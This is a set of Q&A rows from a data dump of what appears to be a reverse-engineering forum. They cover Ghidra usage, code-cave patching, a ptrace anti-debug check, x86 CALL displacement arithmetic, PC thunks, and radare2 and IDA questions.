  <row Id="20814" PostTypeId="2" ParentId="19550" CreationDate="2019-03-07T18:36:36.410" Score="1" Body="&lt;p&gt;You can use Ghidra for this: &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ghidra-sre.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating new CPU descriptions is possible. There's nothing obvious in the way of documentation, but there are plenty of examples in the &lt;code&gt;Ghidra/Processors&lt;/code&gt; folder. I managed to muddle through and create a new one for the 6502, even though I didn't quite understand everything (and still don't): &lt;a href=&quot;https://github.com/tom-seddon/ghidra_6502&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/tom-seddon/ghidra_6502&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decompiler appears to be driven entirely by these CPU descriptions, so I think all you need to do is make a new description, and you'll get C code, of a sort, out of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how feasible it is to turn a whole program into some code that you can recompile! - that's not something I need, so I haven't investigated that. But if you just need particular routines disentangling, it may suffice.&lt;/p&gt;&#xA;" OwnerUserId="27694" LastActivityDate="2019-03-07T18:36:36.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20816" PostTypeId="1" CreationDate="2019-03-07T21:18:35.007" Score="0" ViewCount="81" Body="&lt;p&gt;I'm trying to mess around with an old game and I want to reposition a UI element. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the address of where the x and y position get set (It's set to an X position of 90 and a Y position of 358) but it appears that because the 90 value is less than 128, the compiler optimized the assembly and changed the assembly from a push int (68 ? ? ? ?) to a push signed byte (6a ?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that I'm unable to extend the X position beyond 128.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way for me to set the X position to something like 1000? I would need to somehow be able to change the assembly code to do a push int instead, correct? Will asm help me achieve that? Or what other methods could I use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm talking:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RFyQm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RFyQm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27646" LastActivityDate="2019-03-07T23:50:50.563" Title="Is it possible to change a signed byte to an int in compiled assembly code?" Tags="|assembly|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20817" PostTypeId="2" ParentId="20816" CreationDate="2019-03-07T23:50:50.563" Score="2" Body="&lt;p&gt;As you mentioned, 0x6a is the instruction &lt;code&gt;push Ib&lt;/code&gt;, in this case, the operand is encoded in only one byte and it's signed (i.e. 0x6a 0xff → push -1). You need to promote to the instruction 0x68 &lt;code&gt;push Iz&lt;/code&gt; which means expand the instruction. Your choice is rather limited. I suggest you try to find some &lt;code&gt;code cave&lt;/code&gt; and jump on it to setup the stack as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the first part is to find some free executable space. You might find that at the end of the &lt;code&gt;.text&lt;/code&gt; section. Because of the alignment, you'll find some unused space padded with &lt;code&gt;nop&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Once you find one, patch these pushes with a &lt;code&gt;jmp&lt;/code&gt; to this location.&lt;/li&gt;&#xA;&lt;li&gt;In this free space, you can freely encode your 0x68 pushes.&lt;/li&gt;&#xA;&lt;li&gt;Finally, encode another &lt;code&gt;jmp&lt;/code&gt; from this free space to jump back to the initial point.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-03-07T23:50:50.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20818" PostTypeId="2" ParentId="20808" CreationDate="2019-03-08T00:10:36.770" Score="1" Body="&lt;p&gt;Basically, the process calls &lt;code&gt;fork&lt;/code&gt;, on the child side it'll try to attach a debugger to the parent process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ptrace(PTRACE_ATTACH, getppid(), 0, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this syscall failed, it probably means a debugger is already attached to the parent process, this is your anti-debugger. To notify the parent process, the developer relies on the exit code. It's 1 if a debugger is attached, 0 otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the parent side, it retrieves the exit code with the macro &lt;code&gt;WEXITSTATUS&lt;/code&gt;. In C this is defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define WEXITSTATUS(x)  (_W_INT(x) &amp;gt;&amp;gt; 8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which gives in assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sar     eax, 8&#xA;movzx   eax, al&#xA;test    eax, eax&#xA;jz      short no_debugger&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is another way to do a &lt;code&gt;PTRACE_TRACEME&lt;/code&gt;. :)&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-03-08T00:10:36.770" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="20819" PostTypeId="1" CreationDate="2019-03-08T00:35:47.267" Score="9" ViewCount="5347" Body="&lt;p&gt;So I want to define a c++ string in ghidra struct. I noticed while reverse engineering a C++ binary, I found that, it defines a &lt;code&gt;basic_string&lt;/code&gt; class in the symbol tree. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to define a &lt;code&gt;std::string&lt;/code&gt; (not a pointer to it) within a struct. Is there a way to do it automatically right now, or will I still need to manually define a &lt;code&gt;basic_string&lt;/code&gt; struct and go from there? Is there currently a way to associate classes and structs together like so (currently I think classes only act as namespaces?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried just simply adding a field with the type &lt;code&gt;basic_string&lt;/code&gt; in my struct, but it complains that &lt;code&gt;basic_string&lt;/code&gt; is just a placeholder struct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't yet tested how ghidra would handle a &lt;code&gt;std::string&lt;/code&gt; local variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: example code for what I described above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;struct Human {&#xA;  int age;&#xA;  bool is_male;&#xA;  std::string name;&#xA;&#xA;public:&#xA;  Human(int age, bool is_male, const std::string &amp;amp;name) : age(age), is_male(is_male), &#xA;    name(name) { }&#xA;&#xA;  void say_hello() {&#xA;    std::cout &amp;lt;&amp;lt; &quot;Hello, I am a &quot; &amp;lt;&amp;lt; (is_male ? &quot;male &quot; : &quot;female &quot;) &amp;lt;&amp;lt; age &amp;lt;&amp;lt; &#xA;      &quot;-year old named &quot; &amp;lt;&amp;lt; name &amp;lt;&amp;lt; &quot;!&quot; &amp;lt;&amp;lt; std::endl;&#xA;  }&#xA;};&#xA;&#xA;int main() {&#xA;  Human *human = new Human(17, true, &quot;Adam&quot;);&#xA;  human-&amp;gt;say_hello();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you putting this into ghidra, and then do auto-fill struct fields, it will recognize the &lt;code&gt;age&lt;/code&gt; and &lt;code&gt;is_male&lt;/code&gt; fields, but not the &lt;code&gt;name&lt;/code&gt; field, as this is an opaque &lt;code&gt;std::string&lt;/code&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up to this point, when I was reversing another (much larger) binary, I simply  manually created a new struct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct basic_string {&#xA;  char *ptr;&#xA;  size_t len;&#xA;  char buff[0x10]&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something that ghidra can do this automatically? Also I'm wondering would there be any portability issues if I just always assume the above struct?&lt;/p&gt;&#xA;" OwnerUserId="23645" LastEditorUserId="23645" LastEditDate="2019-03-08T16:45:08.320" LastActivityDate="2019-04-03T20:34:37.347" Title="Ghidra define c++ string" Tags="|ghidra|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20820" PostTypeId="1" CreationDate="2019-03-08T10:52:21.737" Score="1" ViewCount="294" Body="&lt;p&gt;I want to see if anyone more experienced in reverse engineering and disassembly can take a look at this binary update file I have and maby ether help or just say if it is even possible to reverse it. &#xA;In the long run I want to add a missing functionality to it to allow for an AV input&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system in question is a bmw head unit (MMI) that has a main processor: renesas SH3 SH7709A . A secondary 16 bit processor ST10F269-T3. A xilinx FPGA. A most bus controller and dual 32mb flash memory for storage S29JL032H.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cXPGv.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary in question is a update file that has been converted from intelHEX to binary and then unpacked and can be found at this link: &lt;a href=&quot;https://drive.google.com/file/d/1J6eLOfW17Sit-7-OnEUH_emWjf-3MIC7/view?usp=drivesdk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1J6eLOfW17Sit-7-OnEUH_emWjf-3MIC7/view?usp=drivesdk&lt;/a&gt;&#xA;It does contain many debugging strings and so on at least. I have attempted some disassembly in IDA pro but would appreciate if someone else could take a look and maby see something obvious we have missed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More documents, pictures, datacheets, dumps from a system with the same hardware that already has the functionality I want to add and so on can be found here: &lt;a href=&quot;https://drive.google.com/folderview?id=1ue6Z0G95_-nF3svesaC4yThRse6rIdwk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/folderview?id=1ue6Z0G95_-nF3svesaC4yThRse6rIdwk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27726" LastActivityDate="2019-03-08T10:52:21.737" Title="Can anyone make much sense of this binary for an embedded system?" Tags="|ida|disassembly|binary-analysis|embedded|" AnswerCount="0" CommentCount="4" ClosedDate="2019-03-09T08:25:18.740" ContentLicense="CC BY-SA 4.0" />
  <row Id="20821" PostTypeId="1" AcceptedAnswerId="20832" CreationDate="2019-03-09T03:14:58.747" Score="-2" ViewCount="250" Body="&lt;p&gt;A target library &quot;lib42.so&quot; has DT_DEBUG entry in the .dynamic section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After dlopen(&quot;lib42.so&quot;, RTLD_LOCAL | RTLD_NOW) succeded, r_debug-&gt;d_un.d_ptr is equal to zero. Why?&lt;/p&gt;&#xA;" OwnerUserId="27737" LastActivityDate="2019-03-10T00:02:56.890" Title="DT_DEBUG not filled on dlopen" Tags="|gdb|elf|dynamic-linking|" AnswerCount="1" CommentCount="0" ClosedDate="2019-03-22T14:36:47.753" ContentLicense="CC BY-SA 4.0" />
  <row Id="20822" PostTypeId="2" ParentId="20819" CreationDate="2019-03-09T05:12:41.103" Score="2" Body="&lt;p&gt;EDIT: I misread the question. The solution I provided only shows how structures can be manually added. There does not appear to be a way in Ghidra to import a struct by text blob.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a structure in Ghidra, you have to go to the Data Type Manager - for me it's the third frame on the left-most vertical pane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/35DM8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/35DM8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11528" LastEditorUserId="11528" LastEditDate="2019-03-09T16:23:16.670" LastActivityDate="2019-03-09T16:23:16.670" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20823" PostTypeId="1" AcceptedAnswerId="20834" CreationDate="2019-03-09T10:36:54.597" Score="0" ViewCount="42" Body="&lt;p&gt;I am trying to look under the hood of libnotify, and ran &lt;code&gt;strace notify-send 'hello'&lt;/code&gt; and one of the system calls is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sendto(5, &quot;AUTH\r\n&quot;, 6, MSG_NOSIGNAL, NULL, 0) = 6&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surrounded by a:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sendmsg(5, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base=&quot;\0&quot;, iov_len=1}], msg_iovlen=1, msg_control=[{cmsg_len=28, cmsg_level=SOL_SOCKET, cmsg_type=SCM_CREDENTIALS, cmsg_data={pid=2555, uid=1000, gid=1000}}], msg_controllen=32, msg_flags=0}, MSG_NOSIGNAL) = 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sendto(5, &quot;AUTH\r\n&quot;, 6, MSG_NOSIGNAL, NULL, 0) = 6&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;recvfrom(5, &quot;REJECTED EXTERNAL\r\n&quot;, 4096, 0, NULL, NULL) = 19&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Full paste &lt;a href=&quot;https://pastebin.com/wi9Ecvmk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/wi9Ecvmk&lt;/a&gt;, the above is on lines 322 - 324)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing windows-like carriage returns here? I tried to look into &lt;a href=&quot;https://developer.gnome.org/notification-spec/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Desktop notifications specs&lt;/a&gt; and to local installed libnotify's manual but found no explanation. No explanation in man pages of &lt;code&gt;sendmsg&lt;/code&gt; or &lt;code&gt;recvfrom&lt;/code&gt; either. And no component of this is ever going to run on any type of Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why is purely Linux program leveraging this type of newline?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm running Arch Linux if that makes any difference)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm new in this so I'm sorry if it's really obvious and remove the question if needed.&lt;/p&gt;&#xA;" OwnerUserId="27740" LastEditorUserId="27740" LastEditDate="2019-03-09T10:53:41.027" LastActivityDate="2019-03-10T02:27:19.890" Title="What is causing \r\n in libnotify?" Tags="|linux|" AnswerCount="1" CommentCount="0" ClosedDate="2019-04-12T19:42:29.740" ContentLicense="CC BY-SA 4.0" />
  <row Id="20824" PostTypeId="1" AcceptedAnswerId="20825" CreationDate="2019-03-09T14:19:24.593" Score="2" ViewCount="4145" Body="&lt;p&gt;Working a basic buffer overflow on a 64bit system and putting together some basic shellcode. The main program does a call to puts@plt. When I disassemble main in gdb, the opcodes show as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e8 6b fe ff ff    0x555555554580 &amp;lt;puts@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I looked at the &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_26.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;call instruction set reference&lt;/a&gt; which says its a relative displacement from the next instruction. The next instruction is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000555555554715 b8 00 00 00 00 mov eax, 0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How is &quot;6b fe ff ff&quot; displaced from &quot;0x555555554715&quot; to get the puts@plt address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm dropping my shellcode onto the stack, is it possible to call to puts@plt from there as a displacement from the next instruction? Or do I just need to setup the registers for a syscall?&lt;/p&gt;&#xA;" OwnerUserId="27741" LastActivityDate="2020-12-21T20:09:40.447" Title="x86-64 CALL opcode + disassembly" Tags="|assembly|binary-analysis|buffer-overflow|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20825" PostTypeId="2" ParentId="20824" CreationDate="2019-03-09T14:54:30.737" Score="5" Body="&lt;p&gt;relative address can be forward or backward from end of current instruction&#xA;or start of next instruction   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that &lt;strong&gt;e8 00 00 00 00&lt;/strong&gt; will be call to the next immediate instruction&lt;br&gt;&#xA;forward  can be    &lt;strong&gt;e8 ( 00 00 00 00 .... 7f  ff ff ff )&lt;/strong&gt;&lt;br&gt;&#xA;backward can be    &lt;strong&gt;e8 ( ff ff ff ff .... 80 00 00 00 )&lt;/strong&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so your immediate here is &lt;strong&gt;0xfffffe6b&lt;/strong&gt;  that is == &lt;strong&gt;-0x195&lt;/strong&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;negative numbers have their sign bit (31st bit ) set  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 &amp;amp; 0x80000000 == 0x80000000  will be False &#xA;and&#xA;0xffffffff &amp;amp; 0x80000000 == 0x80000000  will be True&#xA;&#xA;C:\&amp;gt;python -c &quot;print((0xffffffff&amp;amp;0x80000000)==0x80000000);print((0x0&amp;amp;0x80000000)==0x80000000)&quot;&#xA;True&#xA;False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so we can find out negative and positive numbers &#xA;negative jumps backward &#xA;positive jumps forward&lt;/p&gt;&#xA;&#xA;&lt;p&gt;positive 1 is 0 + 1&lt;br&gt;&#xA;positive 2 is 0 + 2 and so on ......  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;negative 1 is 0x10000000 - 1&lt;br&gt;&#xA;negative 2 is 0x10000000 - 2 and so on .......   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; for i in range (1,20,1):&#xA;...     print (  &quot;-%02d    ==    %x    +%02d    ==    %x&quot; %  (i,( 0x10000000-i) ,i,( 0 + i )) )&#xA;...&#xA;-01    ==    fffffff    +01    ==    1&#xA;-02    ==    ffffffe    +02    ==    2&#xA;-03    ==    ffffffd    +03    ==    3&#xA;-04    ==    ffffffc    +04    ==    4&#xA;-05    ==    ffffffb    +05    ==    5&#xA;-06    ==    ffffffa    +06    ==    6&#xA;-07    ==    ffffff9    +07    ==    7&#xA;-08    ==    ffffff8    +08    ==    8&#xA;-09    ==    ffffff7    +09    ==    9&#xA;-10    ==    ffffff6    +10    ==    a&#xA;-11    ==    ffffff5    +11    ==    b&#xA;-12    ==    ffffff4    +12    ==    c&#xA;-13    ==    ffffff3    +13    ==    d&#xA;-14    ==    ffffff2    +14    ==    e&#xA;-15    ==    ffffff1    +15    ==    f&#xA;-16    ==    ffffff0    +16    ==    10&#xA;-17    ==    fffffef    +17    ==    11&#xA;-18    ==    fffffee    +18    ==    12&#xA;-19    ==    fffffed    +19    ==    13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so i subtract 0xfffffe6b from 0x100000000&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;python -c &quot;print hex(0xfffffe6b - 0x100000000)&quot;&#xA;-0x195L&#xA;&#xA;C:\&amp;gt;python -c &quot;print hex(0x0000555555554715 + (-0x195))&quot;&#xA;0x555555554580L&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;demo in radare2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; w \xe8\x00\x00\x00\x00 ; pd 1&#xA;            0x00000000      e800000000     call 5&#xA;[0x00000000]&amp;gt; w \xe8\x01\x00\x00\x00 ; pd 1&#xA;            0x00000000      e801000000     call 6&#xA;[0x00000000]&amp;gt; w \xe8\x02\x00\x00\x00 ; pd 1&#xA;            0x00000000      e802000000     call 7&#xA;[0x00000000]&amp;gt; w \xe8\x08\x00\x00\x00 ; pd 1&#xA;            0x00000000      e808000000     call 0xd&#xA;[0x00000000]&amp;gt; w \xe8\xff\xff\xff\xff ; pd 1&#xA;            0x00000000      e8ffffffff     call 4&#xA;[0x00000000]&amp;gt; w \xe8\xfe\xff\xff\xff ; pd 1&#xA;            0x00000000      e8feffffff     call 3&#xA;[0x00000000]&amp;gt; w \xe8\x6b\xff\xff\xff ; pd 1&#xA;            0x00000000      e86bffffff     call 0xffffff70&#xA;[0x00000000]&amp;gt; w \xe8\x6b\xfe\xff\xff ; pd 1&#xA;            0x00000000      e86bfeffff     call 0xfffffe70&#xA;[0x00000000]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simulating an actual call opcodes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;opening a random elf file &#xA;:\&amp;gt;radare2 elfie&#xA;&#xA;getting the address of sym.puts&#xA;[0x08048150]&amp;gt; ?v sym.puts&#xA;0x8048de0&#xA;&#xA;calculating relative address for force writing a call to sym.puts&#xA;[0x08048150]&amp;gt; ?v sym.puts + 0x195 - 0x5&#xA;0x8048f70&#xA;&#xA;seeking to target address&#xA;[0x08048150]&amp;gt; s sym.puts + 0x195 - 0x5&#xA;&#xA;setting cache = true for writing to memory (radare2 opens in read only mode)&#xA;[0x08048f70]&amp;gt; e io.cache = true&#xA;&#xA;checking the present disassembly&#xA;[0x08048f70]&amp;gt; pd 1&#xA;        `=&amp;lt; 0x08048f70      ebd7           jmp 0x8048f49&#xA;patching a call to sym.puts in place &#xA;&#xA;[0x08048f70]&amp;gt; w \xe8\x6b\xfe\xff\xff&#xA;&#xA;checking disassembly again &#xA;&#xA;[0x08048f70]&amp;gt; pd 1&#xA;            0x08048f70      e86bfeffff     call sym.puts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-03-09T21:27:14.930" LastActivityDate="2019-03-09T21:27:14.930" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20826" PostTypeId="1" AcceptedAnswerId="20830" CreationDate="2019-03-09T18:33:04.453" Score="3" ViewCount="4712" Body="&lt;p&gt;I think the below instruction is used for position independent code. Could anyone please help me understand how it works? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call 135b&amp;lt;__x86.get_pc_thunk.ax&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are the use of the below instructions after it returns?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add    eax,0x2d77&#xA;mov    edx,DWORD PTR [eax-0xc]&#xA;mov    edx,DWORD PTR [edx]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to remove call 135b&amp;lt;__x86.get_pc_thunk.ax&gt; from the assembly when compiling the code using GCC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f9nBd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f9nBd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27714" LastEditorUserId="266" LastEditDate="2019-03-12T01:21:05.227" LastActivityDate="2019-03-12T01:21:05.227" Title="How does the x86 instruction, call 135b&lt;__x86.get_pc_thunk.ax&gt; work?" Tags="|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20828" PostTypeId="1" AcceptedAnswerId="20836" CreationDate="2019-03-09T20:07:06.500" Score="3" ViewCount="2124" Body="&lt;p&gt;I'm trying to decompile a function with ghidra 9.0. After a (short) while, I get :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exception while decompiling 140062b00: process: timeout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already &quot;succesfully&quot; decompiled this function using IDA hexrays and snowman. Both return a massive function with several thousand lines of code. I use quotes because I didn't validate the whole output, but the parts that I analysed made sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that this timeout error could be solved by increasing the time limit, but I haven't found any way of configuring this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to use ghidra to decompile this function anyway?&lt;/p&gt;&#xA;" OwnerUserId="10182" LastActivityDate="2019-03-10T04:29:07.397" Title="How to increase decompilation timeout in ghidra?" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20829" PostTypeId="1" AcceptedAnswerId="20833" CreationDate="2019-03-09T21:42:23.693" Score="1" ViewCount="59" Body="&lt;p&gt;Processing a Mach-0 file with Rabin2 I'm obtaining the following result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ rabin2 -I mybinaryfile&#xA;arw 00000000000000000000000000000000000000000000000000000000000000001f0000000000000000000000170000001f0000001f0000000000000000000000&#xA;arch     x86&#xA;baddr    0x0&#xA;binsz    69256&#xA;bintype  mach0&#xA;bits     32&#xA;canary   false&#xA;sanitiz  false&#xA;class    MACH0&#xA;crypto   false&#xA;endian   little&#xA;havecode true&#xA;laddr    0x0&#xA;lang     c++&#xA;linenum  false&#xA;lsyms    false&#xA;machine  386&#xA;maxopsz  16&#xA;minopsz  1&#xA;nx       false&#xA;os       darwin&#xA;pcalign  0&#xA;pic      false&#xA;relocs   false&#xA;static   true&#xA;stripped false&#xA;subsys   darwin&#xA;va       true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Opening it with Radare2 the same &quot;arw&quot; line appears:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ radare2 mybinaryfile&#xA;arw 00000000000000000000000000000000000000000000000000000000000000001f0000000000000000000000170000001f0000001f0000000000000000000000&#xA; -- radare2-built farm beats the facebook one.&#xA;[0x00000000]&amp;gt; &#xA;&#xA;[0x00000000]&amp;gt; ih&#xA;0x00000000  Magic       0xfeedface&#xA;0x00000004  CpuType     0x7&#xA;0x00000008  CpuSubType  0x3&#xA;0x0000000c  FileType    0x1&#xA;0x00000010  nCmds       3&#xA;0x00000014  sizeOfCmds  840&#xA;0x00000018  Flags       0x2000&#xA;0x00000020  cmd       0 0x1 LC_SEGMENT&#xA;0x00000024  cmdsize     736&#xA;0x00000300  cmd       1 0x2 LC_SYMTAB&#xA;0x00000304  cmdsize     24&#xA;0x00000318  cmd       2 0x5 LC_UNIXTHREAD&#xA;0x0000031c  cmdsize     80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've searched but I didn't find any answer. What does this &quot;arw&quot; line mean?&lt;/p&gt;&#xA;" OwnerUserId="27748" LastEditorUserId="27748" LastEditDate="2019-03-10T22:52:56.730" LastActivityDate="2019-03-10T22:52:56.730" Title="What this &quot;arw&quot; line means when processing Mach-0 file with Radare2 or Rabin2?" Tags="|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20830" PostTypeId="2" ParentId="20826" CreationDate="2019-03-09T21:58:34.937" Score="2" Body="&lt;p&gt;the call is getting the next instructions address in eax&lt;br&gt;&#xA;notice the ax&lt;br&gt;&#xA;there are other variants of this call with bx,cx,dx at the end&lt;br&gt;&#xA;which respectively returns the next instruction address in ebx,ecx and edx   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the call at 135b will look like   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,[esp] &#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so eax in your specific case will contain 0x1289&lt;br&gt;&#xA;after the addition eax will contain  0x4000&lt;br&gt;&#xA; so edx will get what is stored at [3ff4]    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is called dereferencing pointers   **foo   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically eax will contain the buffer where fscanf stores the return&lt;br&gt;&#xA;edx will contain the format string&lt;br&gt;&#xA;ecx will contain the FILE*  &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-03-09T21:58:34.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20831" PostTypeId="1" CreationDate="2019-03-09T22:08:58.257" Score="1" ViewCount="249" Body="&lt;p&gt;I am trying to reverse engineer firmware for an embedded device. The memory region 0xA0000000-0xA1FFFFFF is mapped to 0x80000000-0x81FFFFF. How do I setup ida to recognise this?&lt;/p&gt;&#xA;" OwnerUserId="27749" LastActivityDate="2019-03-09T22:08:58.257" Title="IDA map one memory address to another" Tags="|ida|memory|address|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
